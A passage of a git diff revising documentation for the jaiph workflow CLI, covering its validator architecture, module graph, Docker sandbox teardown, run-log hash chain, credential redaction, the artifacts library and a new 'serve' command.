**`jaiph run --raw`** / **`__workflow-runner`** dispatch with the compiled JS source tree and scripts mounted read-only. +All orchestration uses the Node workflow runtime, which is the AST interpreter, whether you run local `jaiph run`, `jaiph test`, or **Docker `jaiph run`**. Docker containers run the same **`jaiph run --raw`** / **`__workflow-runner`** dispatch with the compiled JS source tree and scripts mounted read-only. ## Core components - **CLI (`src/cli`, invoked via compiled `src/cli.ts` → `dist/src/cli.js`)** - - Entry point (`run`, `test`, `compile`, `init`, `install`, `use`, `format`). Paths ending in `.jh` / `.test.jh` are also accepted as implicit commands (see `src/cli/index.ts`). - - **Workflow launch** is owned in TypeScript (`src/runtime/kernel/workflow-launch.ts` + `src/cli/run/lifecycle.ts`): spawns the runner via **`process.execPath`** and the **`__workflow-runner`** argv marker. **`runWorkflowRunner`** (`src/runtime/kernel/node-workflow-runner.ts`) handles that argv, loads or reads the module graph, calls **`buildRuntimeGraph()`**, then **`NodeWorkflowRuntime.runDefault()`**. The **`default`** workflow name is wired in **`buildRunModuleLaunch`** (`workflow-launch.ts`). `setupRunSignalHandlers` accepts an optional `onSignalCleanup` callback for Docker sandbox teardown on SIGINT/SIGTERM — for a Docker-backed run it is `stopDockerRunOnSignal`, which force-removes the container (`docker rm -f`) before deleting the host sandbox clone so an interrupt cannot orphan a running container (see [Docker runtime helper](#core-components)). + - Entry point (`run`, `test`, `compile`, `init`, `install`, `use`, `format`, `mcp`, `serve`). Paths ending in `.jh` / `.test.jh` are also accepted as implicit commands (see `src/cli/index.ts`). + - **Workflow launch** is owned in TypeScript (`src/runtime/kernel/workflow-launch.ts` + `src/cli/run/lifecycle.ts`): spawns the runner via **`process.execPath`** and the **`__workflow-runner`** argv marker. **`runWorkflowRunner`** (`src/runtime/kernel/node-workflow-runner.ts`) handles that argv, loads or reads the module graph, calls **`buildRuntimeGraph()`**, then **`NodeWorkflowRuntime.runDefault()`**. The **`default`** workflow name is wired in **`buildRunModuleLaunch`** (`workflow-launch.ts`). `setupRunSignalHandlers` accepts an optional `onSignalCleanup` callback for Docker sandbox teardown on SIGINT/SIGTERM — for a Docker-backed run it is `stopDockerRunOnSignal`, which stops and removes the container (`docker kill` then `docker rm -f`) before deleting the host sandbox clone so an interrupt cannot orphan a running container (see [Docker runtime helper](#core-components)). - Parses runtime events and renders progress (except `--raw`); dispatches hooks. - **Parser (`src/parser.ts`, `src/parse/*`)** @@ -58,7 +58,7 @@ All orchestration — local `jaiph run`, `jaiph test`, and **Docker `jaiph run`* - **Validator (`src/transpile/validate.ts` + `src/transpile/validate-step.ts`)** - Resolves imports and symbol references; emits deterministic compile-time errors. Import resolution (`resolveImportPath` in `transpile/resolve.ts`) checks relative paths first, then falls back to project-scoped libraries under `/.jaiph/libs/` — the workspace root is threaded through all compilation call sites. Export visibility is enforced by `validateRef` in `validate-ref-resolution.ts`: if an imported module declares any `export`, only exported names are reachable through the import alias. - - **Two-file split.** `validate.ts` owns the **outer** layer: import / channel-route / test-block checks plus `walkStepTree` (the single descent that builds `{ knownVars, promptSchemas, flat }` for each workflow / rule). `validate-step.ts` owns the **per-step** visitor: one row per `WorkflowStepDef.type` in a `VALIDATORS: Record` table, a single `validateExpr` dispatcher over the 8 `Expr.kind` values, and the call-shape / channel / string-content helpers. `validate.ts` is bounded at **≤700 lines** (currently ~470) by a CI-style test in `src/transpile/validate-visitor.test.ts`; new validators belong in `validate-step.ts`. + - **Two-file split.** `validate.ts` owns the **outer** layer: import / channel-route / test-block checks plus `walkStepTree` (the single descent that builds `{ knownVars, promptSchemas, flat }` for each workflow / rule). `validate-step.ts` owns the **per-step** visitor: one row per `WorkflowStepDef.type` in a `VALIDATORS: Record` table, a single `validateExpr` dispatcher over the 8 `Expr.kind` values, and the call-shape / channel / string-content helpers. `validate.ts` is bounded at **≤700 lines** (currently ~470) by a CI-style test in `src/transpile/validate-visitor.test.ts`; new validators belong in `validate-step.ts`. - **Visitor table + scope.** Per-step validation has one entry point — `validateStep(step, ctx)` in `validate-step.ts`. It looks the step's `type` up in `VALIDATORS` (the dispatch table), then consults `ctx.scope.allowSteps` (a `Set`) once to decide whether this step is permitted in the current scope. Two scopes exist: `WORKFLOW_SCOPE` (allows every step variant including `send` and `prompt`) and `RULE_SCOPE` (rejects `send` outright; rejects `prompt` and `run async` from inside `exec` bodies). The scope also carries `runRefExpect` (`RUN_TARGET_REF_EXPECT` for workflows, `RUN_IN_RULE_REF_EXPECT` for rules) and `withPromptSchemas` (workflows collect prompt-returning bindings; rules skip schema collection). Adding a new step type requires exactly one row in `VALIDATORS` and, if the rule/workflow split needs to differ, an entry in `Scope.allowSteps` — an `AC4` test in `validate-visitor.test.ts` injects a synthetic step type and asserts it produces exactly one diagnostic with the documented `internal: no validator for step type "…"` message until the row is added. - **Single managed-call-shape helper.** Every `call` / `ensure_call` site runs the same five checks against the typed `Arg[]` directly — shell-redirection rejection (only `literal` args are scanned), nested-unmanaged-call rejection inside `literal` raws, ref resolution (with the scope's `runRefExpect` for `call`, `RULE_REF_EXPECT` for `ensure_call`), arity (`args.length` vs declared params), and `var`-arg resolution against in-scope bindings via `validateArgVarRefs`. The sequence lives once in `validateCallable(expr, ctx)`; both `run` and `ensure` validators invoke it with a different ref expectation / target kind. There is no longer a separate `validateBareIdentifierArgs` helper, no per-site repetition of the five-step sequence, and no place re-parses an `args: string` payload by splitting on commas or rescanning quotes. - **Diagnostics collector (recoverable errors).** The validator no longer fails fast on the first user-level error. Every recoverable check appends to a `Diagnostics` collector (`src/diagnostics.ts`) via `diag.error(file, line, col, code, msg)`, which records a `JaiphDiagnostic` and short-circuits the current validation unit through a `BailoutError`. Each top-level unit (per-import block, per-rule walk, per-rule step, per-workflow walk, per-workflow step, per-test-block step, per-channel route) is wrapped in `diag.capture(fn)`, which absorbs the bailout (and any thrown `jaiphError` from leaf helpers like `validate-ref-resolution.ts` / `validate-string.ts` / `validate-prompt-schema.ts` / `shell-jaiph-guard.ts`) so the next sibling unit still runs. `collectDiagnostics(graph)` walks every module and returns the populated collector; the legacy **`validateReferences(graph)`** is now a thin wrapper that throws the first sorted diagnostic via **`jaiphError`** so graph-level callers and existing per-error tests keep working; **`emitScriptsForModuleFromGraph`** still calls **`validateModule(ast, graph)`** per module before emit. `Diagnostics.sorted()` returns errors ordered by `(file, line, col)`; `formatLines()` renders the standard `path:line:col CODE message` shape. A grep test (`src/transpile/diagnostics-collector.test.ts`) pins the migration: `validate.ts` + `validate-step.ts` hold **zero** `throw jaiphError(` sites, and the remaining `throw jaiphError(` call sites under `src/` are confined to a documented allowlist — fatal aborts in the parser (`src/parse/core.ts`), the loader (`src/transpile/module-graph.ts`), and the test-file shape check (`src/cli/commands/test.ts`); the legacy bridge in `src/diagnostics.ts`; and the four leaf validation helpers above, each of which has every caller wrapped in `diag.capture(...)`. @@ -93,16 +93,16 @@ All orchestration — local `jaiph run`, `jaiph test`, and **Docker `jaiph run`* - `jaiph format` rewrites `.jh` / `.test.jh` files into canonical style. `emitModule(ast, trivia, opts?)` reads the semantic AST together with the parallel **`Trivia`** store ([Trivia (CST layer)](#trivia-cst-layer)) to round-trip leading comments, top-level order, `config` body sequence, `"""..."""` and `bareSource` forms, the original quotedness of top-level `const` values (`EnvDeclDef.wasQuoted` — `true` for `"…"` / `"""…"""` sources, `undefined` for bare tokens — so a quoted value is never silently rewritten as bare based on whether it contains a space), and prompt / script body discriminators. Step emission switches on `WorkflowStepDef.type` (8 variants) and an `emitExpr` helper switches on `Expr.kind` (8 kinds) — there are no dual code paths for "managed sidecar vs literal value" because that branch was removed from the AST. Call arguments render straight off the typed `Arg[]` — `var` → bare name, `literal` → raw — so the formatter no longer re-parses any args string or consults a `bareIdentifierArgs` shadow field. Pure data→text emitter; no side-effects beyond file writes. Round-trip is bit-for-bit on every fixture under `examples/` and `test-fixtures/golden-ast/fixtures/` — pinned by `src/format/roundtrip.test.ts`, which asserts `parse → format → parse → format` converges in one step on every fixture. - **Docker runtime helper (`src/runtime/docker.ts`)** - - Parses mount specs, resolves Docker config (image, network, timeout), and builds the `docker run` invocation when the CLI enables **Docker sandboxing** for `jaiph run` (environment-driven; there is no `jaiph run --docker` flag — see [Sandboxing](sandboxing.md)). On **`win32`** the Docker sandbox is out of scope: **`resolveDockerConfig`** forces host-only mode (same UX as an explicit **`JAIPH_UNSAFE=true`**) with a one-line notice, so the CLI never probes `docker` and never hard-fails on a missing daemon (`JAIPH_DOCKER_ENABLED=true` cannot override this). The container runs the same **`jaiph run --raw`** / **`__workflow-runner`** entry as local execution. The default image is the official `ghcr.io/jaiphlang/jaiph-runtime` GHCR image tagged with the CLI version (`ghcr.io/jaiphlang/jaiph-runtime:`); every selected image must already contain `jaiph` (no auto-install or derived-image build at runtime). Image preparation (`prepareImage`) runs before the CLI banner: it checks whether the image is local, pulls with `--quiet` if needed (short status lines on stderr instead of Docker’s default pull UI), and verifies that `jaiph` exists in the image. `spawnDockerProcess` does not pull or verify — it receives a pre-resolved image. The spawn call uses `stdio: ["ignore", "pipe", "pipe"]` — stdin is ignored so the Docker CLI does not block on stdin EOF, which would stall event streaming and hang the host CLI after the container exits. + - Parses mount specs, resolves Docker config (image, network, timeout), and builds the `docker run` invocation when the CLI enables **Docker sandboxing** for `jaiph run` (environment-driven; there is no `jaiph run --docker` flag — see [Sandboxing](sandboxing.md)). On **`win32`** the Docker sandbox is out of scope: **`resolveDockerConfig`** forces host-only mode (same UX as an explicit **`JAIPH_UNSAFE=true`**) with a one-line notice, so the CLI never probes `docker` and never hard-fails on a missing daemon (`JAIPH_DOCKER_ENABLED=true` cannot override this). The container runs the same **`jaiph run --raw`** / **`__workflow-runner`** entry as local execution. The default image is the official `ghcr.io/jaiphlang/jaiph-runtime` GHCR image tagged with the CLI version (`ghcr.io/jaiphlang/jaiph-runtime:`); every selected image must already contain `jaiph` (no auto-install or derived-image build at runtime). Image preparation (`prepareImage`) runs before the CLI banner: it checks whether the image is local, pulls with `--quiet` if needed (short status lines on stderr instead of Docker's default pull UI), and verifies that `jaiph` exists in the image. `spawnDockerProcess` does not pull or verify — it receives a pre-resolved image. The spawn call uses `stdio: ["ignore", "pipe", "pipe"]` — stdin is ignored so the Docker CLI does not block on stdin EOF, which would stall event streaming and hang the host CLI after the container exits. - **Workspace immutability:** By default Docker runs cannot modify the host workspace. In the default **snapshot** mode the host takes a writable point-in-time clone of the workspace at run start (`/sandbox`, via `cloneWorkspaceForSandbox` in `src/runtime/docker.ts`) and bind-mounts that clone read-write at `/jaiph/workspace`; the live host checkout is never mounted, and the clone is discarded on exit. The clone content is **git-defined**: for a git workspace it is exactly `git ls-files --cached --others --exclude-standard` plus `.git/` wholesale (gitignored files — `node_modules/`, `.env`, build output — are absent, never scanned); git is the sole ignore oracle (no reimplemented gitignore matcher). A non-git workspace (no `.git` at the root, or `git ls-files` fails) falls back to copying everything. See [Sandboxing — What the snapshot contains](sandboxing.md#snapshot-content). The only host-writable path is `/jaiph/run` (run artifacts), and the snapshot source under it is masked from the container with a tmpfs at `/jaiph/run/sandbox`. Workflows that need to capture workspace changes should write files (for example a `git diff` into a temp path) and publish them with `artifacts.save()`. The explicit opt-in **inplace** mode (truthy **`JAIPH_INPLACE`** — `1` or `true`, or `jaiph run --inplace`) breaks this contract on purpose — the host workspace itself is bind-mounted read-write so the run's edits persist live on the host, with the rest of the sandbox (caps, env allowlist, mount set) unchanged. See [Sandboxing](sandboxing.md) for the full contract and [Save artifacts](artifacts.md). - - **Container teardown on interrupt / timeout:** `spawnDockerProcess` assigns every container a deterministic `--name` (`jaiph-run-`, emitted immediately after `run --rm`) so it can be force-removed by name later. A `docker run --rm` container can outlive its host `docker` client (Docker Desktop / detached behaviour), so killing the client's process tree alone does not guarantee the container stops. On SIGINT/SIGTERM the run's `onSignalCleanup` calls **`stopDockerRunOnSignal`**, and the run-timeout kill (`E_TIMEOUT`) calls **`stopDockerContainer`** directly — both run `docker rm -f ` (best-effort, bounded 10 s), which stops *and* removes the `--rm` container in one step so it disappears from `docker ps` within a bounded window. Order matters: the container is stopped **before** `cleanupDocker` removes the host workspace snapshot at `/sandbox`, because that snapshot is bind-mounted into the container. The MCP per-call cancel path (`src/cli/mcp/call.ts`) applies the same teardown — `stopDockerContainer` then `cancelRunProcess`. Both sandbox modes (snapshot, inplace) share this contract. See [Sandboxing — interrupting a Docker run](sandboxing.md#interrupting-a-docker-run). + - **Container teardown on interrupt / timeout:** `spawnDockerProcess` assigns every container a deterministic `--name` (`jaiph-run-`, emitted immediately after `run --rm`) so it can be force-removed by name later. A `docker run --rm` container can outlive its host `docker` client (Docker Desktop / detached behaviour), so killing the client's process tree alone does not guarantee the container stops. On SIGINT/SIGTERM the run's `onSignalCleanup` calls **`stopDockerRunOnSignal`**, and the run-timeout kill (`E_TIMEOUT`) calls **`stopDockerContainer`** directly — both run `docker kill ` (bounded 5 s) then `docker rm -f ` (bounded 10 s), best-effort, so the `--rm` container disappears from `docker ps` within a bounded window. Splitting kill from rm avoids macOS Docker Desktop lock contention where a single `docker rm -f` on a still-running container can block for the full timeout. Order matters: the container is stopped **before** `cleanupDocker` removes the host workspace snapshot at `/sandbox`, because that snapshot is bind-mounted into the container. The MCP per-call cancel path (`src/cli/mcp/call.ts`) applies the same teardown — `stopDockerContainer` then `cancelRunProcess`. Both sandbox modes (snapshot, inplace) share this contract. See [Sandboxing — interrupting a Docker run](sandboxing.md#interrupting-a-docker-run). ## Local module graph {: #local-module-graph} -The toolchain has one canonical representation — **`ModuleGraph`** — for "all `.jh` modules reachable from an entry point, parsed once." The same graph is used by the validator, the script emitter, and the runtime; on the default local `jaiph run` path it also crosses the parent CLI → child runner boundary so each reachable `.jh` is parsed exactly **once** per run. +The toolchain has one canonical representation, **`ModuleGraph`**, for all `.jh` modules reachable from an entry point, parsed once. The same graph is used by the validator, the script emitter, and the runtime. On the default local `jaiph run` path the graph also crosses the parent CLI to child runner boundary, so each reachable `.jh` is parsed exactly once per run. -- **`loadModuleGraph(entryFile, workspaceRoot?)`** (`src/transpile/module-graph.ts`) walks the entry plus its transitive `import` edges through `resolveImportPath` and returns `{ entryFile, workspaceRoot?, modules: Map }> }`. **`/`** imports (for example `jaiphlang/queue`) resolve through the workspace library fallback under `.jaiph/libs/` when a relative path does not exist. This is the **only** routine that reads `.jh` sources from disk; `parsejaiph(source, filePath)` itself is I/O-pure. +- **`loadModuleGraph(entryFile, workspaceRoot?)`** (`src/transpile/module-graph.ts`) walks the entry plus its transitive `import` edges through `resolveImportPath` and returns `{ entryFile, workspaceRoot?, modules: Map }> }`. **`/`** imports (for example `jaiphlang/queue`) resolve through the workspace library fallback under `.jaiph/libs/` when a relative path does not exist. Within the graph pipeline this is the only routine that reads `.jh` sources from disk, and `parsejaiph(source, filePath)` itself is I/O-pure. A couple of paths outside the graph pipeline read `.jh` on their own, such as `runWorkflowRaw` (`jaiph run --raw`) and the exported `loadImportedModules` helper. - **`src/cli/commands/run.ts`** calls `loadModuleGraph` once after path normalization. The entry AST is reused for the banner / `runtime` config via **`metadataToConfig(resolveModuleMetadata(mod, env))`** — `resolveModuleMetadata` resolves the `config { … }` block's interpolation before `metadataToConfig` flattens it. The same graph is passed to **`buildScriptsFromGraph(graph, outDir)`**, which calls **`emitScriptsForModuleFromGraph`** per reachable module; each call runs **`validateModule(ast, graph)`** against the in-memory ASTs. - **Process boundary.** The CLI serializes the graph with **`writeModuleGraph`** to **`/.jaiph-module-graph.json`** (deterministic JSON: entries sorted by absolute path; ASTs included verbatim). It points the spawned **`__workflow-runner`** child at the file through the internal env var **`JAIPH_MODULE_GRAPH_FILE`**. The runner reads it back with **`readModuleGraph`** and passes the result to **`buildRuntimeGraph(graph)`**, which produces the runtime view (with **`import script`** stub injection) without touching disk. Cross-module workflow / rule / script resolution matches the on-disk load path. - **Scope of the env-var hand-off.** `JAIPH_MODULE_GRAPH_FILE` is set on the host (non-Docker) execution paths that spawn the local **`__workflow-runner`** child: interactive **`jaiph run`** when Docker sandboxing is disabled (`dockerConfigForBanner.enabled === false`), and the MCP tool-call path (`src/cli/mcp/call.ts`). It is **not** set on these paths, which load the graph from disk inside the runner instead: @@ -110,7 +110,7 @@ The toolchain has one canonical representation — **`ModuleGraph`** — for "al - **Docker `jaiph run`** — the host writes the graph file under `outDir`, but skips the env var because the inner container command is `jaiph run --raw …` and the host bind-mount layout does not plumb the cache file inside the container. - **`jaiph test`** — `runSingleTestFile` builds the graph in `src/cli/commands/test.ts` and threads it through `runTestFile(graph, ...)` directly (no env var needed; same process). - When the env var is absent the runner falls back to the disk-walk parse path, preserving prior behavior. + When the env var is absent, the runner falls back to the disk-walk parse path, which preserves the prior behavior. User-visible contracts (banner, hooks, run artifacts, `run_summary.jsonl`, `return_value.txt`, exit codes, `__JAIPH_EVENT__` streaming) are unchanged. @@ -156,13 +156,13 @@ The runtime persists step captures and the event timeline under a UTC-dated hier run_summary.jsonl # durable event timeline ``` -Step sequence numbers are monotonic and unique per run: `RuntimeEventEmitter` allocates them in memory (`allocStepSeq`) when opening each step’s capture files (`%06d-.out|.err`). There is no `.seq` file in the run directory. +Step sequence numbers are monotonic and unique per run: `RuntimeEventEmitter` allocates them in memory (`allocStepSeq`) when opening each step's capture files (`%06d-.out|.err`). There is no `.seq` file in the run directory. #### Hash chain -Every line written to `run_summary.jsonl` by `RuntimeEventEmitter` carries a `prev_hash` field: the SHA-256 (hex) of the previous raw JSON line, or `"000…000"` (64 zeroes, `CHAIN_GENESIS`) for the first line. Rewriting or truncating any line invalidates all subsequent hashes, making tampering detectable. +Every line written to `run_summary.jsonl` by `RuntimeEventEmitter` carries a `prev_hash` field. The field holds the SHA-256 hash (in hex) of the previous raw JSON line, or `"000…000"` (64 zeroes, `CHAIN_GENESIS`) for the first line. Rewriting or truncating any line invalidates every later hash, so you can detect tampering. -To verify a run’s chain: +To verify a run's chain: ```ts import { verifyRunSummaryChain } from "src/runtime/kernel/emit"; @@ -173,23 +173,25 @@ const { ok, error } = verifyRunSummaryChain(".jaiph/runs///run_summar #### Secret redaction -Before `RuntimeEventEmitter` writes an event line to `run_summary.jsonl`, it redacts values of **credential environment variables** — keys whose name (case-insensitive) ends in `_API_KEY`, `_TOKEN`, `_SECRET`, or `_API_TOKEN`, and whose value is at least 8 characters. Each matching value is replaced with `[REDACTED]` wherever it appears in: +Before `RuntimeEventEmitter` writes an event line to `run_summary.jsonl`, it redacts the values of credential environment variables. A credential environment variable is a key whose name ends (case-insensitive) in `_API_KEY`, `_TOKEN`, `_SECRET`, or `_API_TOKEN`, and whose value is at least 8 characters. Each matching value is replaced with `[REDACTED]` wherever it appears in: - the reconstructed prompt body (`prompt_text`) and the resolved values of `${var}` references persisted alongside it (`emitPromptStepStart`), - the `preview` field of `PROMPT_START` / `PROMPT_END` events (`emitPromptEvent`), - the embedded stdout/stderr excerpts (`out_content` / `err_content`) of every `STEP_END` — script and prompt steps alike (`emitStep`). -This covers backend API keys such as `ANTHROPIC_API_KEY`, `OPENAI_API_KEY`, and `CURSOR_API_KEY` (the same names on the [Docker env allowlist](sandboxing.md)). +The rule covers backend API keys such as `ANTHROPIC_API_KEY`, `OPENAI_API_KEY`, and `CURSOR_API_KEY` (the same names on the [Docker env allowlist](sandboxing.md)). -Redaction applies **only to the copies embedded in `run_summary.jsonl`**. The per-step raw capture files (`%06d-.out` / `.err`) are streamed to disk verbatim and are not redacted — treat them, and the run directory as a whole, as sensitive. +The same credential rule lives in one shared helper, **`redactCredentials`** (`src/runtime/kernel/redact.ts`). The helper is also the redaction boundary for returned call results. `composeResult` (`src/cli/exec/call.ts`) redacts a failed call's diagnostic capture (the failed-step detail, the raw stderr and stdout, and the collected `log` messages) before it becomes `jaiph serve`'s `result_text` or a `jaiph mcp` tool result. A successful workflow's return value is intentional API output rather than diagnostic capture, so it is returned verbatim. + +Beyond those two boundaries (journal copies and returned call results), redaction is not applied. The per-step raw capture files (`%06d-.out` / `.err`) are streamed to disk verbatim and are not redacted. Treat them, and the run directory as a whole, as sensitive. ## Channels and hooks in context -Channels are validated at compile time (`validateReferences` / send RHS rules) and executed via in-memory queue and dispatch in the Node runtime; durable **`inbox/`** files under the run directory appear only for **routed** sends (audit — see [Inbox & Dispatch](inbox.md)). Hooks are CLI-only: they load from `hooks.json` and run as shell commands with JSON on stdin, driven by the same `__JAIPH_EVENT__` stream as the progress UI — see [Hooks](hooks.md). +Channels are validated at compile time (`validateReferences` and the send RHS rules) and executed through an in-memory queue and dispatch in the Node runtime. Durable **`inbox/`** files under the run directory appear only for routed sends, as an audit copy (see [Inbox & Dispatch](inbox.md)). Hooks are CLI-only. They load from `hooks.json` and run as shell commands with JSON on stdin, driven by the same `__JAIPH_EVENT__` stream as the progress UI. One dispatch contract covers all three invocation modes: interactive `jaiph run` through the run emitter, and `jaiph serve` and `jaiph mcp` calls through `callWorkflow`'s shared event collector. `jaiph run --raw` and `jaiph test` are documented as no-hook lanes (see [Hooks](hooks.md)). ## Test runner integration (`*.test.jh` in the kernel) -**How** `jaiph test` wires into the same stack as `jaiph run`: `runSingleTestFile` (`src/cli/commands/test.ts`) calls `loadModuleGraph(testFileAbs, workspaceRoot)` once, then threads the resulting `ModuleGraph` through `buildScriptsFromGraph(graph, tmpDir)` and `runTestFile(graph, …)`. `runTestFile` calls `buildRuntimeGraph(graph)` once per file and the runtime view is reused across all blocks and `test_run_workflow` steps (the import closure is constant for a given test file within a single process run). Each `test_run_workflow` step resolves mocks against that runtime view, then constructs `NodeWorkflowRuntime` with `mockBodies` / mock prompt env, passing **`suppressLiveEvents: true`** so **`RuntimeEventEmitter`** skips writing **`__JAIPH_EVENT__`** lines to **stderr** while still appending **`run_summary.jsonl`** for that run. Without this flag, every workflow event would print to the test process's stderr and swamp `node --test` reporter output. Mock prompts, workflows, rules, and scripts are supported through the runtime's mock infrastructure. +`jaiph test` wires into the same stack as `jaiph run`. `runSingleTestFile` (`src/cli/commands/test.ts`) calls `loadModuleGraph(testFileAbs, workspaceRoot)` once, then threads the resulting `ModuleGraph` through `buildScriptsFromGraph(graph, tmpDir)` and `runTestFile(graph, …)`. `runTestFile` calls `buildRuntimeGraph(graph)` once per file and the runtime view is reused across all blocks and `test_run_workflow` steps (the import closure is constant for a given test file within a single process run). Each `test_run_workflow` step resolves mocks against that runtime view, then constructs `NodeWorkflowRuntime` with `mockBodies` / mock prompt env, passing **`suppressLiveEvents: true`** so **`RuntimeEventEmitter`** skips writing **`__JAIPH_EVENT__`** lines to **stderr** while still appending **`run_summary.jsonl`** for that run. Without `suppressLiveEvents`, every workflow event would print to the test process's stderr and swamp the `node --test` reporter output. Mock prompts, workflows, rules, and scripts are supported through the runtime's mock infrastructure. The `buildScriptsFromGraph` call writes `scripts/` so imported workflows have paths under `JAIPH_SCRIPTS`. Unrelated `*.jh` files elsewhere in the repo are not compiled unless imported. diff --git a/docs/artifacts.md b/docs/artifacts.md index 0b44017e..1c6c2cf8 100644 --- a/docs/artifacts.md +++ b/docs/artifacts.md @@ -9,13 +9,13 @@ redirect_from: # Save artifacts -This recipe publishes files from a workflow into the run's `artifacts/` directory under the run logs root (`.jaiph/runs/` by default). That is the supported export path when Docker sandboxing is on — in the default snapshot mode, workspace edits are discarded at container exit, but anything copied into `artifacts/` remains on the host. +This recipe publishes files from a workflow into the run's `artifacts/` directory under the run logs root (`.jaiph/runs/` by default). Copying files into `artifacts/` is the supported way to export them when Docker sandboxing is on. In the default snapshot mode, workspace edits are discarded when the container exits, but anything copied into `artifacts/` stays on the host. -The runtime always creates an `artifacts/` directory under the run log directory and exposes its absolute path as `JAIPH_ARTIFACTS_DIR`. The `jaiphlang/artifacts` library is the canonical way to copy files into that directory; you can also write there directly from a `script` step. +The runtime always creates an `artifacts/` directory under the run log directory and exposes its absolute path as `JAIPH_ARTIFACTS_DIR`. The `jaiphlang/artifacts` library is the standard way to copy files into that directory, and you can also write there directly from a `script` step. ## Prerequisites -- A workspace with `.jaiph/libs/jaiphlang/` installed (`jaiph install jaiphlang`) if you want to use the library — see [Use & publish a library](/how-to/libraries). +- A workspace with `.jaiph/libs/jaiphlang/` installed (`jaiph install jaiphlang`) if you want to use the library. See [Use & publish a library](libraries.md). - The file(s) you want to save exist by the time the `artifacts.save(...)` step runs. ## 1. Import the library @@ -38,7 +38,7 @@ workflow default() { ## 3. Save several files at once -`save` accepts a **newline-separated** list of paths. Blank or whitespace-only lines are ignored: +`save` accepts a newline-separated list of paths. Blank or whitespace-only lines are ignored: ```jh workflow default() { @@ -78,15 +78,15 @@ After the run, list the artifacts directory: ls //-/artifacts/ ``` -Replace `` with `.jaiph/runs` when `JAIPH_RUNS_DIR` is unset, or with your configured runs directory otherwise. Date and time segments are UTC; `` is the entry-file basename (or `JAIPH_SOURCE_FILE` when set). You should see the files your workflow saved. Under Docker sandboxing the host path is the same — the run mount at `/jaiph/run` inside the container is bound to the host runs root, so artifacts land on the host even though the run executed inside the container. +Replace `` with `.jaiph/runs` when `JAIPH_RUNS_DIR` is unset, or with your configured runs directory otherwise. The date and time segments are UTC, and `` is the entry-file basename (or `JAIPH_SOURCE_FILE` when set). You should see the files your workflow saved. Under Docker sandboxing the host path is the same. The run mount at `/jaiph/run` inside the container is bound to the host runs root, so artifacts land on the host even though the run executed inside the container. -`artifacts.save(...)` exits with a failure when the input list is empty after trimming, when any listed path is missing or not a regular file, or when `JAIPH_ARTIFACTS_DIR` is unset — wrap the call in `recover` / `catch` if you want the workflow to tolerate that. +`artifacts.save(...)` fails when the input list is empty after trimming, when any listed path is missing or not a regular file, or when `JAIPH_ARTIFACTS_DIR` is unset. Wrap the call in `recover` or `catch` if you want the workflow to tolerate that failure. ## Verify a run's integrity chain -Every line the runtime appends to `run_summary.jsonl` carries a `prev_hash` field — the SHA-256 of the previous raw line (or 64 zeroes for the first line). Rewriting or truncating any line breaks the hash of every line after it, so a verifier can detect tampering with a run's audit trail. See [Architecture — Hash chain](architecture.md#durable-artifact-layout) for the format. +Every line the runtime appends to `run_summary.jsonl` carries a `prev_hash` field. The field holds the SHA-256 of the previous raw line, or 64 zeroes for the first line. Rewriting or truncating any line breaks the hash of every line after it, so you can detect tampering with a run's audit trail. See [Architecture — Hash chain](architecture.md#hash-chain) for the format. -To check a run directory, run this self-contained Node script against its `run_summary.jsonl` (no jaiph build required — it recomputes the chain the same way the runtime does): +To check a run directory, run this self-contained Node script against its `run_summary.jsonl`. You do not need a jaiph build, because the script recomputes the chain the same way the runtime does: ```bash node -e ' @@ -103,10 +103,10 @@ node -e ' ' //-/run_summary.jsonl ``` -A clean chain prints `chain intact (N lines)` and exits `0`; a rewritten or truncated file prints the first broken line number and exits `1`. Inside the repo you can call the exported `verifyRunSummaryChain(filePath)` helper (`src/runtime/kernel/emit.ts`) instead, which returns `{ ok, error }`. +A clean chain prints `chain intact (N lines)` and exits `0`. A rewritten or truncated file prints the first broken line number and exits `1`. Inside the repo you can call the exported `verifyRunSummaryChain(filePath)` helper (`src/runtime/kernel/emit.ts`) instead, which returns `{ ok, error }`. ## Related - [Architecture — Durable artifact layout](architecture.md#durable-artifact-layout) — the full run directory tree, including where `artifacts/` sits, plus the hash chain and secret-redaction contracts for `run_summary.jsonl`. -- [Use & publish a library](/how-to/libraries) — installing `jaiphlang/artifacts` and writing your own libraries. -- [Sandboxing — The two sandbox modes](sandboxing.md#the-three-sandbox-modes) — snapshot mode discards workspace edits; artifacts persist on the host in every mode. +- [Use & publish a library](libraries.md) — installing `jaiphlang/artifacts` and writing your own libraries. +- [Sandboxing — The two sandbox modes](sandboxing.md#the-two-sandbox-modes) — snapshot mode discards workspace edits; artifacts persist on the host in every mode. diff --git a/docs/cli.md b/docs/cli.md index 7c960d6c..2eb59ffe 100644 --- a/docs/cli.md +++ b/docs/cli.md @@ -39,6 +39,7 @@ The reserved internal marker `__workflow-runner` is excluded from `--help`/usage | `install` | Install project-scoped libraries from the registry or git URLs. | | `use` | Reinstall `jaiph` globally with a selected version or channel. | | `mcp` | Serve a file's workflows as MCP tools over stdio (newline-delimited JSON-RPC). | +| `serve` | Serve a file's workflows as an HTTP API, with an OpenAPI document and an embedded Swagger UI. | ## `jaiph run` {: #jaiph-run} @@ -49,7 +50,7 @@ Compile and execute a workflow's `default` entrypoint. jaiph run [--target ] [--raw] [--workspace ] [--inplace] [--unsafe] [--yes|-y] [--env KEY[=VALUE]]... [--] [args...] ``` -Sandbox selection is environment-driven; there is no `--docker` flag. The boolean sandbox flags (`--inplace`, `--unsafe`, `--yes`) are CLI front-ends that mutate the launched runtime env for one run only — see [Configuration — Precedence](configuration.md#precedence) and [Environment variables](env-vars.md). +Sandbox selection is environment-driven; there is no `--docker` flag. The boolean sandbox flags (`--inplace`, `--unsafe`, `--yes`) are CLI front-ends that mutate the launched runtime env for one run only, and are shared verbatim with `jaiph serve` and `jaiph mcp` (one execution-policy contract; precedence: CLI flags > `JAIPH_*` env vars > workflow config metadata > defaults) — see [Configuration — Precedence](configuration.md#precedence) and [Environment variables — Precedence](env-vars.md#precedence). Flags belonging to another command (`--host`, `--port`) and unknown flags are usage errors, never positionals. ### Flags @@ -66,7 +67,7 @@ Sandbox selection is environment-driven; there is no `--docker` flag. The boolea ### Pre-flight -After module-graph load and Docker-mode resolution, before the runner / container is spawned, the host CLI runs a credential pre-flight (`src/cli/run/preflight-credentials.ts`). Missing credentials produce either `E_AGENT_CREDENTIALS` (hard error) or a warning depending on backend and Docker mode — see [Authenticate agent backends](/how-to/agent-auth) and [Configuration — Credential pre-flight](configuration.md#credential-pre-flight). `jaiph run --raw` does not run the pre-flight. +After module-graph load and Docker-mode resolution, before the runner / container is spawned, the host CLI runs a credential pre-flight (`src/cli/run/preflight-credentials.ts`). Missing credentials produce either 